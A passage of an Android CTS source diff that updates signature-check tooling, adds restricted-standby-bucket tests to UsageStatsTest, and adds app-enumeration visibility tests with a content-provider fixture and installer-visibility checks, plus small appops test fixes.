- cmd: "$(location metalava) --no-banner -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
+ cmd: "$(location metalava) --no-banner --compatible-output=no -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
tools: ["metalava"],
visibility: [
"//cts/tests/signature/api-check:__subpackages__",
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index d736c71..af99a5b 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -28,7 +28,7 @@
$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
@echo "Convert API file $$< -> $$@"
@mkdir -p $$(dir $$@)
- $(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
+ $(hide) $(APICHECK_COMMAND) --compatible-output=no -convert2xmlnostrip $$< $$@
endef
$(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index b0cc4dc..4dc7b8a 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -24,6 +24,7 @@
Bug: 78574873 android.intent.action.RESOLVE_EPHEMERAL_PACKAGE
Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
Bug: 150153196 android.intent.action.LOAD_DATA (system in API 30)
+ Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
-->
<dynamicConfig>
<entry key ="intent_whitelist">
@@ -36,5 +37,6 @@
<value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
<value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
<value>android.intent.action.LOAD_DATA</value>
+ <value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
</entry>
</dynamicConfig>
diff --git a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
index e77d7e0..c149492 100644
--- a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
+++ b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
@@ -92,6 +92,8 @@
private static final String MODIFIER_VISIBILITY = "visibility";
+ private static final String MODIFIER_ENUM_CONSTANT = "metalava:enumConstant";
+
private static final Set<String> KEY_TAG_SET;
static {
@@ -139,12 +141,6 @@
int modifier = jdiffModifierToReflectionFormat(currentClass.getClassName(), parser);
String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
- if (currentClass.isEnumType() && fieldType.equals(currentClass.getAbsoluteClassName())
- && (value != null && value.startsWith("PsiEnumConstant:"))) {
- // We don't need to check the value.
- value = null;
- }
-
// Canonicalize the expected value to ensure that it is consistent with the values obtained
// using reflection by ApiComplianceChecker.getFieldValueAsString(...).
if (value != null) {
@@ -356,6 +352,8 @@
default:
throw new RuntimeException("Unknown modifier found in API spec: " + value);
}
+ case MODIFIER_ENUM_CONSTANT:
+ return value.equals("true") ? ApiComplianceChecker.FIELD_MODIFIER_ENUM_VALUE : 0;
}
return 0;
}
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
index 8b40fdf..9dea170 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
@@ -63,6 +63,9 @@
/** Indicates that the method is a synthetic method. */
private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
+ /** Indicates that a field is an enum value. */
+ public static final int FIELD_MODIFIER_ENUM_VALUE = 0x00004000;
+
private final InterfaceChecker interfaceChecker;
public ApiComplianceChecker(ResultObserver resultObserver, ClassProvider classProvider) {
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 4440010..92e351a 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -105,14 +105,11 @@
private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
AppOpsManager.OPSTR_GET_USAGE_STATS + " {1}";
- private static final String USAGE_SOURCE_GET_SHELL_COMMAND = "settings get global " +
- Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE;
+ private static final String GET_SHELL_COMMAND = "settings get global ";
- private static final String USAGE_SOURCE_SET_SHELL_COMMAND = "settings put global " +
- Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE + " {0}";
+ private static final String SET_SHELL_COMMAND = "settings put global ";
- private static final String USAGE_SOURCE_DELETE_SHELL_COMMAND = "settings delete global " +
- Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE;
+ private static final String DELETE_SHELL_COMMAND = "settings delete global ";
private static final String TEST_APP_PKG = "android.app.usage.cts.test1";
private static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
@@ -139,6 +136,7 @@
private KeyguardManager mKeyguardManager;
private String mTargetPackage;
private String mCachedUsageSourceSetting;
+ private String mCachedEnableRestrictedBucketSetting;
@Before
public void setUp() throws Exception {
@@ -152,16 +150,18 @@
assumeTrue("App Standby not enabled on device", AppStandbyUtils.isAppStandbyEnabled());
setAppOpsMode("allow");
- mCachedUsageSourceSetting = getUsageSourceSetting();
+ mCachedUsageSourceSetting = getSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE);
+ mCachedEnableRestrictedBucketSetting = getSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET);
}
@After
public void cleanUp() throws Exception {
if (mCachedUsageSourceSetting != null &&
- !mCachedUsageSourceSetting.equals(getUsageSourceSetting())) {
+ !mCachedUsageSourceSetting.equals(
+ getSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE))) {
setUsageSourceSetting(mCachedUsageSourceSetting);
- mUsageStatsManager.forceUsageSourceSettingRead();
}
+ setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, mCachedEnableRestrictedBucketSetting);
// Force stop test package to avoid any running test code from carrying over to the next run
SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
mUiDevice.pressHome();
@@ -179,16 +179,20 @@
executeShellCmd(MessageFormat.format(APPOPS_SET_SHELL_COMMAND, mTargetPackage, mode));
}
- private String getUsageSourceSetting() throws Exception {
- return executeShellCmd(USAGE_SOURCE_GET_SHELL_COMMAND);
+ private String getSetting(String name) throws Exception {
+ return executeShellCmd(GET_SHELL_COMMAND + name);
}
- private void setUsageSourceSetting(String usageSource) throws Exception {
- if (usageSource.equals("null")) {
- executeShellCmd(USAGE_SOURCE_DELETE_SHELL_COMMAND);
+ private void setSetting(String name, String setting) throws Exception {
+ if (setting == null || setting.equals("null")) {
+ executeShellCmd(DELETE_SHELL_COMMAND + name);
} else {
- executeShellCmd(MessageFormat.format(USAGE_SOURCE_SET_SHELL_COMMAND, usageSource));
+ executeShellCmd(SET_SHELL_COMMAND + name + " " + setting);
}
+ }
+
+ private void setUsageSourceSetting(String value) throws Exception {
+ setSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE, value);
mUsageStatsManager.forceUsageSourceSettingRead();
}
@@ -683,7 +687,9 @@
// TODO(148887416): get this test to work for instant apps
@AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
@Test
- public void testUserForceIntoRestricted() throws IOException {
+ public void testUserForceIntoRestricted() throws Exception {
+ setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+
launchSubActivity(TaskRootActivity.class);
assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
UsageStatsManager.STANDBY_BUCKET_ACTIVE,
@@ -700,7 +706,28 @@
// TODO(148887416): get this test to work for instant apps
@AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
@Test
- public void testUserLaunchRemovesFromRestricted() throws IOException {
+ public void testUserForceIntoRestricted_BucketDisabled() throws Exception {
+ setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "0");
+
+ launchSubActivity(TaskRootActivity.class);
+ assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
+ UsageStatsManager.STANDBY_BUCKET_ACTIVE,
+ mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+ // User force shouldn't have to deal with the timeout.
+ setStandByBucket(mTargetPackage, "restricted");
+ assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
+ UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
+ mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+ }
+
+ // TODO(148887416): get this test to work for instant apps
+ @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
+ @Test
+ public void testUserLaunchRemovesFromRestricted() throws Exception {
+ setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+
setStandByBucket(mTargetPackage, "restricted");
assertEquals("User was unable to force an app into RESTRICTED bucket",
UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
@@ -712,6 +739,26 @@
mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
}
+ /** Confirm the default value of {@link Settings.Global.ENABLE_RESTRICTED_BUCKET}. */
+ // TODO(148887416): get this test to work for instant apps
+ @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
+ @Test
+ public void testDefaultEnableRestrictedBucketOff() throws Exception {
+ setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, null);
+
+ launchSubActivity(TaskRootActivity.class);
+ assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
+ UsageStatsManager.STANDBY_BUCKET_ACTIVE,
+ mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+ // User force shouldn't have to deal with the timeout.
+ setStandByBucket(mTargetPackage, "restricted");
+ assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
+ UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
+ mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+ }
+
// TODO(148887416): get this test to work for instant apps
@AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
@Test
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index bc8d224..5e210f1 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -48,6 +48,7 @@
<option name="test-file-name" value="CtsAppEnumerationQueriesPackage.apk" />
<option name="test-file-name" value="CtsAppEnumerationQueriesNothingTargetsQ.apk" />
<option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasPermission.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasProvider.apk" />
<option name="test-file-name" value="CtsAppEnumerationWildcardBrowsableActivitySource.apk" />
<option name="test-file-name" value="CtsAppEnumerationWildcardContactsActivitySource.apk" />
<option name="test-file-name" value="CtsAppEnumerationWildcardDocumentEditorActivitySource.apk" />
@@ -65,6 +66,7 @@
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="push" value="CtsAppEnumerationNoApi.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationNoApi.apk" />
<option name="push" value="CtsAppEnumerationFilters.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationFilters.apk" />
+ <option name="push" value="CtsAppEnumerationQueriesNothingSeesInstaller.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationQueriesNothingSeesInstaller.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
index 8c95b27..d7832c4 100644
--- a/tests/tests/appenumeration/app/source/Android.bp
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -32,6 +32,18 @@
}
android_test_helper_app {
+ name: "CtsAppEnumerationQueriesNothingSeesInstaller",
+ manifest: "AndroidManifest-queriesNothing-seesInstaller.xml",
+ defaults: ["CtsAppEnumerationQueriesDefaults"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
name: "CtsAppEnumerationQueriesActivityViaAction",
manifest: "AndroidManifest-queriesActivityAction.xml",
defaults: ["CtsAppEnumerationQueriesDefaults"],
@@ -164,6 +176,18 @@
}
android_test_helper_app {
+ name: "CtsAppEnumerationQueriesNothingHasProvider",
+ manifest: "AndroidManifest-queriesNothing-hasProvider.xml",
+ defaults: ["CtsAppEnumerationQueriesDefaults"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
name: "CtsAppEnumerationSharedUidSource",
manifest: "AndroidManifest-queriesNothing-sharedUser.xml",
defaults: ["CtsAppEnumerationQueriesDefaults"],
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
new file mode 100644
index 0000000..1e94c1b
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.nothing.hasprovider">
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ <provider android:name="android.appenumeration.cts.query.TestProvider"
+ android:authorities="android.appenumeration.queries.nothing.hasprovider"
+ android:exported="true" >
+
+ </provider>
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
new file mode 100644
index 0000000..0126775
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.nothing.sees.installer">
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
index 3e9d789..a4ae8b2 100644
--- a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
@@ -43,25 +43,41 @@
import android.content.IntentSender;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
+import android.os.HandlerThread;
import android.os.PatternMatcher;
import android.os.RemoteCallback;
import android.util.SparseArray;
+import java.util.ArrayList;
+
public class TestActivity extends Activity {
SparseArray<RemoteCallback> callbacks = new SparseArray<>();
private Handler mainHandler;
+ private Handler backgroundHandler;
+ private HandlerThread backgroundThread;
@Override
protected void onCreate(Bundle savedInstanceState) {
mainHandler = new Handler(getMainLooper());
+ backgroundThread = new HandlerThread("testBackground");
+ backgroundThread.start();
+ backgroundHandler = new Handler(backgroundThread.getLooper());
super.onCreate(savedInstanceState);
handleIntent(getIntent());
}
+ @Override
+ protected void onDestroy() {
+ backgroundThread.quitSafely();
+ super.onDestroy();
+ }
+
private void handleIntent(Intent intent) {
RemoteCallback remoteCallback = intent.getParcelableExtra(EXTRA_REMOTE_CALLBACK);
try {
@@ -123,6 +139,9 @@
final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
awaitPackageBroadcast(
remoteCallback, packageName, Intent.ACTION_PACKAGE_ADDED, 3000);
+ } else if (Constants.ACTION_QUERY_RESOLVER.equals(action)) {
+ final String authority = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+ queryResolverForVisiblePackages(remoteCallback, authority);
} else {
sendError(remoteCallback, new Exception("unknown action " + action));
}
@@ -199,6 +218,33 @@
finish();
}
+ private void queryResolverForVisiblePackages(RemoteCallback remoteCallback, String authority) {
+ backgroundHandler.post(() -> {
+ Uri queryUri = Uri.parse("content://" + authority + "/test");
+ Cursor query = getContentResolver().query(queryUri, null, null, null, null);
+ if (query == null || !query.moveToFirst()) {
+ sendError(remoteCallback,
+ new IllegalStateException(
+ "Query of " + queryUri + " could not be completed"));
+ return;
+ }
+ ArrayList<String> visiblePackages = new ArrayList<>();
+ while (!query.isAfterLast()) {
+ visiblePackages.add(query.getString(0));
+ query.moveToNext();
+ }
+ query.close();
+
+ mainHandler.post(() -> {
+ Bundle result = new Bundle();
+ result.putStringArray(EXTRA_RETURN_RESULT, visiblePackages.toArray(new String[]{}));
+ remoteCallback.sendResult(result);
+ finish();
+ });
+
+ });
+ }
+
private void sendError(RemoteCallback remoteCallback, Exception failure) {
Bundle result = new Bundle();
result.putSerializable(EXTRA_ERROR, failure);
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java
new file mode 100644
index 0000000..b5bc7f0
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appenumeration.cts.query;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+
+import java.util.Collections;
+
+public class TestProvider extends ContentProvider {
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ MatrixCursor matrixCursor = new MatrixCursor(new String[]{"seenPackage"}, 0);
+ getContext().getPackageManager().getInstalledPackages(0 /*flags*/).forEach(packageInfo -> {
+ matrixCursor.addRow(Collections.singletonList(packageInfo.packageName));
+ });
+ return matrixCursor;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
index c24744f..aea7db5 100644
--- a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
+++ b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
@@ -43,10 +43,15 @@
public static final String QUERIES_ACTIVITY_ACTION = PKG_BASE + "queries.activity.action";
/** A package that has no queries but gets the QUERY_ALL_PACKAGES permission */
public static final String QUERIES_NOTHING_PERM = PKG_BASE + "queries.nothing.haspermission";
+ /** A package that has no queries but has a provider that can be queried */
+ public static final String QUERIES_NOTHING_PROVIDER = PKG_BASE + "queries.nothing.hasprovider";
/** A package that has no queries tag or permissions but targets Q */
public static final String QUERIES_NOTHING_Q = PKG_BASE + "queries.nothing.q";
/** A package that has no queries tag or permission to query any specific packages */
public static final String QUERIES_NOTHING = PKG_BASE + "queries.nothing";
+ /** Another package that has no queries tag or permission to query any specific packages */
+ public static final String QUERIES_NOTHING_SEES_INSTALLER =
+ PKG_BASE + "queries.nothing.sees.installer";
/** A package that queries nothing, but is part of a shared user */
public static final String QUERIES_NOTHING_SHARED_USER = PKG_BASE + "queries.nothing.shareduid";
/** A package that queries via wildcard action. */
@@ -82,6 +87,8 @@
private static final String BASE_PATH = "/data/local/tmp/cts/appenumeration/";
public static final String TARGET_NO_API_APK = BASE_PATH + "CtsAppEnumerationNoApi.apk";
public static final String TARGET_FILTERS_APK = BASE_PATH + "CtsAppEnumerationFilters.apk";
+ public static final String QUERIES_NOTHING_SEES_INSTALLER_APK =
+ BASE_PATH + "CtsAppEnumerationQueriesNothingSeesInstaller.apk";
public static final String[] ALL_QUERIES_TARGETING_R_PACKAGES = {
QUERIES_NOTHING,
@@ -127,9 +134,12 @@
PKG_BASE + "cts.action.GET_INSTALLED_PACKAGES";
public static final String ACTION_START_SENDER_FOR_RESULT =
PKG_BASE + "cts.action.START_SENDER_FOR_RESULT";
+ public static final String ACTION_QUERY_RESOLVER =
+ PKG_BASE + "cts.action.QUERY_RESOLVER_FOR_VISIBILITY";
public static final String EXTRA_REMOTE_CALLBACK = "remoteCallback";
public static final String EXTRA_ERROR = "error";
public static final String EXTRA_FLAGS = "flags";
public static final String EXTRA_DATA = "data";
+ public static final String EXTRA_AUTHORITY = "authority";
}
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index fe9b79d..b63a1c4 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -23,6 +23,7 @@
import static android.appenumeration.cts.Constants.ACTION_MANIFEST_SERVICE;
import static android.appenumeration.cts.Constants.ACTION_QUERY_ACTIVITIES;
import static android.appenumeration.cts.Constants.ACTION_QUERY_PROVIDERS;
+import static android.appenumeration.cts.Constants.ACTION_QUERY_RESOLVER;
import static android.appenumeration.cts.Constants.ACTION_QUERY_SERVICES;
import static android.appenumeration.cts.Constants.ACTION_START_DIRECTLY;
import static android.appenumeration.cts.Constants.ACTION_START_FOR_RESULT;
@@ -35,7 +36,10 @@
import static android.appenumeration.cts.Constants.QUERIES_ACTIVITY_ACTION;
import static android.appenumeration.cts.Constants.QUERIES_NOTHING;
import static android.appenumeration.cts.Constants.QUERIES_NOTHING_PERM;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_PROVIDER;
import static android.appenumeration.cts.Constants.QUERIES_NOTHING_Q;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SEES_INSTALLER;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SEES_INSTALLER_APK;
import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SHARED_USER;
import static android.appenumeration.cts.Constants.QUERIES_PACKAGE;
import static android.appenumeration.cts.Constants.QUERIES_PROVIDER_ACTION;
@@ -65,6 +69,7 @@
import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
import static org.hamcrest.core.Is.is;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertThat;
@@ -75,6 +80,7 @@
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.net.Uri;
@@ -92,6 +98,7 @@
import com.android.compatibility.common.util.SystemUtil;
import org.hamcrest.core.IsNull;
+import org.junit.After;
import org.junit.AfterClass;
import org.junit.Assert;
import org.junit.BeforeClass;
@@ -100,6 +107,8 @@
import org.junit.rules.TestName;
import org.junit.runner.RunWith;
+import java.io.OutputStream;
+import java.util.Arrays;
import java.util.Objects;
import java.util.UUID;
import java.util.concurrent.TimeUnit;
@@ -306,6 +315,21 @@
}
@Test
+ public void queriesNothing_canSeeInstaller() throws Exception {
+ runShellCommand("pm uninstall " + QUERIES_NOTHING_SEES_INSTALLER);
+ runShellCommand("pm install"
+ + " -i " + TARGET_NO_API
+ + " --pkg " + QUERIES_NOTHING_SEES_INSTALLER
+ + " " + QUERIES_NOTHING_SEES_INSTALLER_APK);
+ try {
+ assertVisible(QUERIES_NOTHING_SEES_INSTALLER, TARGET_NO_API);
+ } finally {
+ runShellCommand("pm uninstall " + QUERIES_NOTHING_SEES_INSTALLER);
+ }
+ }
+
+
+ @Test
public void whenStarted_canSeeCaller() throws Exception {
// let's first make sure that the target cannot see the caller.
assertNotVisible(QUERIES_NOTHING, QUERIES_NOTHING_PERM);
@@ -430,6 +454,22 @@
}
}
+ @Test
+ public void queriesResolver_grantsVisibilityToProvider() throws Exception {
+ assertNotVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
+
+ String[] result = sendCommandBlocking(
+ QUERIES_NOTHING_PERM, QUERIES_NOTHING_PROVIDER, null, ACTION_QUERY_RESOLVER)
+ .getStringArray(Intent.EXTRA_RETURN_RESULT);
+ Arrays.sort(result);
+ assertThat(QUERIES_NOTHING_PERM + " not visible to " + QUERIES_NOTHING_PROVIDER
+ + " during resolver interaction",
+ Arrays.binarySearch(result, QUERIES_NOTHING_PERM),
+ greaterThanOrEqualTo(0));
+
+ assertVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
+ }
+
private void assertNotVisible(String sourcePackageName, String targetPackageName)
throws Exception {
if (!sGlobalFeatureEnabled) return;
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
index 832eb49..100b9af 100644
--- a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
@@ -107,10 +107,10 @@
setNotedAppOpsCollector()
- assertThat(asyncNoted).isEmpty()
+ assertThat(noted).isEmpty()
assertThat(selfNoted).isEmpty()
eventually {
- assertThat(noted.map { it.first.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
}
}
}
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
index 222059f..3dd5c21 100644
--- a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
@@ -21,6 +21,8 @@
class AutoClosingActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+
finish()
}
}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
index 492ba9a9..ea20c6d 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -658,6 +658,8 @@
fun getWallpaper() {
val wallpaperManager = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
.getSystemService(WallpaperManager::class.java)
+ assumeTrue("Device does not support wallpaper",
+ wallpaperManager.isWallpaperSupported())
wallpaperManager.getWallpaperFile(FLAG_SYSTEM)
diff --git a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
index 995d4d7..4862717 100644
--- a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
@@ -107,7 +107,7 @@
@Test
fun testRebootHistory() {
// Configure historical registry behavior.
- appOpsManager.setHistoryParameters(
+ setHistoryParameters(
AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
SNAPSHOT_INTERVAL_MILLIS,
INTERVAL_COMPRESSION_MULTIPLIER)
@@ -116,7 +116,7 @@
val chunk = createDataChunk()
